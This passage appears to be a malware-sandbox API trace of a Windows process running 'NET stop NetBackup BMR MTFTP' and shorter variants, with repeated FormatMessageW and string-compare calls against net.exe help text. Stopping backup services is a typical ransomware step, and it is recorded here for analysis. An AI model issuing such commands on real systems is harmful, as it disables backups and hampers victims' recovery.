lpBuffer="쎀\x12") returned 0x16 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START RPCLOCATOR\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x11 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START RPCSS\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START SCHEDULE\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x12 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START SERVER\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0xf [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START UPS\r\n", _MaxCount=0x1c) returned 14 [0098.589] LocalFree (hMem=0x12c380) returned 0x0 [0098.589] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x17 [0098.589] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START WORKSTATION\r\n", _MaxCount=0x1c) returned 14 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x18 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET START\r\n[service]\r\n\r\n", _MaxCount=0x1c) returned 14 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x2a [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET STATISTICS\r\n[WORKSTATION", _MaxCount=0x1c) returned 14 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET STOP\r\nservice\r\n\r\n", _MaxCount=0x1c) returned 19 [0098.590] LocalFree (hMem=0x12c380) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x58 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET TIME\r\n\r\n[\\\\computername ", _MaxCount=0x1c) returned -1 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x184 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET USE\r\n[devicename | *] [\\", _MaxCount=0x1c) returned -2 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc7 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET USER\r\n[username [passwor", _MaxCount=0x1c) returned -2 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x47 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET VIEW\r\n[\\\\computername [/", _MaxCount=0x1c) returned -3 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc2 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NET\r\n [ ACCOUNTS | COMPUT", _MaxCount=0x1c) returned 19 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.590] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x319 [0098.590] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="SERVICES\r\nNET START can be u", _MaxCount=0x1c) returned -5 [0098.590] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x483 [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="SYNTAX\r\nThe following conven", _MaxCount=0x1c) returned -5 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xa86 [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="NAMES\r\nThe following types o", _MaxCount=0x1c) returned 4 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x54 [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR MTFTP", _String2="\r\nFor more information on to", _MaxCount=0x1c) returned 97 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xad [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET ACCOUNTS\r\n[/FORCEL", _MaxCount=0x16) returned 18 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x2e [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET COMPUTER\r\n\\\\comput", _MaxCount=0x16) returned 16 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x7d [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET CONFIG SERVER\r\n[/A", _MaxCount=0x16) returned 16 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x26 [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET CONFIG\r\n[SERVER | ", _MaxCount=0x16) returned 16 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET CONTINUE\r\nservice\r", _MaxCount=0x16) returned 16 [0098.591] LocalFree (hMem=0x12d150) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x1b [0098.591] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET FILE\r\n[id [/CLOSE]", _MaxCount=0x16) returned 13 [0098.591] LocalFree (hMem=0x12c380) returned 0x0 [0098.591] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xbe [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET GROUP\r\n[groupname ", _MaxCount=0x16) returned 12 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET HELP\r\ncommand\r\n ", _MaxCount=0x16) returned 11 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x19 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET HELPMSG\r\nmessage#\r", _MaxCount=0x16) returned 11 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0xc1 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET LOCALGROUP\r\n[group", _MaxCount=0x16) returned 7 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET PAUSE\r\nservice\r\n\r\n", _MaxCount=0x16) returned 3 [0098.592] LocalFree (hMem=0x12c380) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x33 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET SESSION\r\n[\\\\comput", _MaxCount=0x16) returned 15 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="텐\x12") returned 0x234 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET SHARE\r\nsharename\r\n", _MaxCount=0x16) returned 12 [0098.592] LocalFree (hMem=0x12d150) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x13 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START BROWSER\r\n", _MaxCount=0x16) returned 14 [0098.592] LocalFree (hMem=0x12c380) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START CLIPBOOK\r\n", _MaxCount=0x16) returned 14 [0098.592] LocalFree (hMem=0x12c380) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.592] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START EVENTLOG\r\n", _MaxCount=0x16) returned 14 [0098.592] LocalFree (hMem=0x12c380) returned 0x0 [0098.592] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START MESSENGER\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START NET LOGON\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START RPCLOCATOR\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x11 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START RPCSS\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x14 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START SCHEDULE\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x12 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START SERVER\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0xf [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START UPS\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ᅐ\x13") returned 0x17 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START WORKSTATION\r", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x131150) returned 0x0 [0098.593] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x18 [0098.593] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET START\r\n[service]\r\n", _MaxCount=0x16) returned 14 [0098.593] LocalFree (hMem=0x12c380) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x2a [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET STATISTICS\r\n[WORKS", _MaxCount=0x16) returned 14 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x15 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET STOP\r\nservice\r\n\r\n", _MaxCount=0x16) returned 19 [0098.594] LocalFree (hMem=0x12c380) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x58 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET TIME\r\n\r\n[\\\\compute", _MaxCount=0x16) returned -1 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x184 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET USE\r\n[devicename |", _MaxCount=0x16) returned -2 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xc7 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET USER\r\n[username [p", _MaxCount=0x16) returned -2 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x47 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET VIEW\r\n[\\\\computern", _MaxCount=0x16) returned -3 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xc2 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NET\r\n [ ACCOUNTS | ", _MaxCount=0x16) returned 19 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x319 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="SERVICES\r\nNET START ca", _MaxCount=0x16) returned -5 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.594] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x483 [0098.594] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="SYNTAX\r\nThe following ", _MaxCount=0x16) returned -5 [0098.594] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xa86 [0098.595] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="NAMES\r\nThe following t", _MaxCount=0x16) returned 4 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x54 [0098.595] _wcsnicmp (_String1="NET stop NetBackup BMR", _String2="\r\nFor more information", _MaxCount=0x16) returned 97 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xad [0098.595] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET ACCOUNTS\r\n[/FO", _MaxCount=0x12) returned 18 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x2e [0098.595] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET COMPUTER\r\n\\\\co", _MaxCount=0x12) returned 16 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x7d [0098.595] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET CONFIG SERVER\r", _MaxCount=0x12) returned 16 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x26 [0098.595] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET CONFIG\r\n[SERVE", _MaxCount=0x12) returned 16 [0098.595] LocalFree (hMem=0x133150) returned 0x0 [0098.595] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x19 [0098.595] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET CONTINUE\r\nserv", _MaxCount=0x12) returned 16 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x1b [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET FILE\r\n[id [/CL", _MaxCount=0x12) returned 13 [0098.596] LocalFree (hMem=0x12c380) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xbe [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET GROUP\r\n[groupn", _MaxCount=0x12) returned 12 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x33 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET HELP\r\ncommand\r", _MaxCount=0x12) returned 11 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x19 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET HELPMSG\r\nmessa", _MaxCount=0x12) returned 11 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0xc1 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET LOCALGROUP\r\n[g", _MaxCount=0x12) returned 7 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x16 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET PAUSE\r\nservice", _MaxCount=0x12) returned 3 [0098.596] LocalFree (hMem=0x12c380) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x33 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET SESSION\r\n[\\\\co", _MaxCount=0x12) returned 15 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="ㅐ\x13") returned 0x234 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET SHARE\r\nsharena", _MaxCount=0x12) returned 12 [0098.596] LocalFree (hMem=0x133150) returned 0x0 [0098.596] FormatMessageW (in: dwFlags=0x1900, lpSource=0x754e0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0xaf7a0, nSize=0x0, Arguments=0xaf7a8 | out: lpBuffer="쎀\x12") returned 0x13 [0098.596] _wcsnicmp (_String1="NET stop NetBackup", _String2="NET START BROWSER\r", _MaxCount=0x12) returned 14 [0098.597] LocalFree (hMem=0x12c380) returned 0x0 [0098.597] FormatMessageW (in: dwFlags=0x1900, 